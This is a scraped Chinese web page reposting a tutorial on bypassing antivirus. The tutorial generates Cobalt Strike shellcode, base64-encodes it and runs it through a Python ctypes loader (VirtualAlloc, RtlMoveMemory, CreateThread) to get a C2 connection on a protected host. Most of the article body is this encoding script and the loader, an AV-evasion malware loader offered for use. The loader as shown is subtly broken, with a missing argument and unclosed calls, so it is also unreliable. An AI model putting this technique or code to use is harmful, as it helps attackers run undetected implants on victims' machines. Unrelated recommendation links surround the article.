相关文章推荐
坚韧的酸菜鱼  ·  关于教务处4位同志赴台湾地区交流的公示·  1 年前    · 
要出家的黑框眼镜  ·  数字化变革、非常规技能溢价与女性就业·  1 年前    · 
纯真的炒饭  ·  庇古的《福利经济学》及其学术影响-- ...·  2 年前    · 
闯红灯的泡面  ·  挑战程序设计竞赛2:算法与数据结构(电子书与 ...·  3 年前    · 
逆袭的木瓜  ·  关于马化腾,有哪些有趣的故事? - 知乎·  3 年前    · 
小百科  ›  免杀 - shellcode简单混淆BypassAv开发者社区
base64 信息安全 代码混淆 免杀
斯文的酱肘子
3 年前
作者头像
重生信息安全
0 篇文章

免杀 - shellcode简单混淆BypassAv

前往专栏
腾讯云
开发者社区
文档 意见反馈 控制台
首页
学习
活动
专区
工具
TVP
文章/答案/技术大牛
发布
首页
学习
活动
专区
工具
TVP
返回腾讯云官网
社区首页 > 专栏 > 重生信息安全 > 免杀 - shellcode简单混淆BypassAv

免杀 - shellcode简单混淆BypassAv

作者头像
重生信息安全
发布 于 2021-02-26 15:42:47
2K 0
发布 于 2021-02-26 15:42:47
举报

前言

在进行渗透测试过程中,往往会遇到主机有杀软,导致我们的木马被查杀,那么我们就得想办法绕过杀软进行上线Cobalt strike 或者 Metasploiit

环境: Cobalt strike 4.1 Python pyinstaller

何为shellcode?

百度百科是这样介绍它的:

“shellcode是一段用于利用软件漏洞而执行的代码,shellcode为16进制的机器码,因为经常让攻击者获得shell而得名”

何为shellcode混淆?

其实就是把我们的shellcode进行加密:如base64,AES等等

实现过程

1、生成shellcode 2、把shellcode加密 3、构造shellcode加载器 4、shellcode加载器把我们加密过后的shellcode解密 5、执行程序,上线C2

下面我也直观的列举了一幅图来说明,如下

利用cobalt strike生成shellcode

生成Python shellcode x64

会得到这样一个内容文件

简单处理payload.py shellcode文件

1、你可以直接把双引号里面的内容复制出来

2、写代码提取出来

这里我用的第二种,附自己写的垃圾代码

这样就能简单处理我们的shellcode文件

对我们提取出来的shellcode进行加密

这里我使用base64加密

1、可以直接使用在线的base64网站加密

https://base64.us/

2、自写代码进行加密

这里使用Python base64库,附代码

# coding=utf-8
import base64
# 读取shellcode文件
shellcode = open('payload.py')
shellcode = shellcode.read()
# 取出shellcode内容
s1 = shellcode.find("\"")+1
s2 = shellcode.rfind("\"")
shellcode =  shellcode[s1:s2]
# print(shellcode)
# 把shellcode base64加密并写入base64.txt文件
base64_shellcode = base64.b64encode(shellcode.encode('UTF-8'))
with open('base64.txt', 'wb') as shell:
    shell.write(base64_shellcode)

编写加载器

这里直接附代码


import base64
import codecs
import ctypes
shellcode = ""
shellcode = base64.b64decode(shellcode)
shellcode = codecs.escape_decode(shellcode)[0]
shellcode = bytearray(shellcode)
# 设置VirtualAlloc返回类型为ctypes.c_uint64
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
# 申请内存
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000), ctypes.c_int(0x40))
# 放入shellcode
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(
    ctypes.c_uint64(ptr),
    ctypes.c_int(len(shellcode))
# 创建一个线程从shellcode放置位置首地址开始执行
handle = ctypes.windll.kernel32.CreateThread(
    ctypes.c_int(0),
    ctypes.c_int(0),
    ctypes.c_uint64(ptr),
    ctypes.c_int(0),
    ctypes.c_int(0),
    ctypes.pointer(ctypes.c_int(0))
 
推荐文章
坚韧的酸菜鱼  ·  关于教务处4位同志赴台湾地区交流的公示
1 年前
要出家的黑框眼镜  ·  数字化变革、非常规技能溢价与女性就业
1 年前
纯真的炒饭  ·  庇古的《福利经济学》及其学术影响-- 上海财经大学期刊社
2 年前
闯红灯的泡面  ·  挑战程序设计竞赛2:算法与数据结构(电子书与代码)-CSDN博客
3 年前
逆袭的木瓜  ·  关于马化腾,有哪些有趣的故事? - 知乎
3 年前
今天看啥   ·   Py中国   ·   codingpro   ·   小百科   ·   link之家   ·   卧龙AI搜索
删除内容请联系邮箱 2879853325@qq.com
小百科 - 百科知识指南
© 2024 ~ 沪ICP备11025650号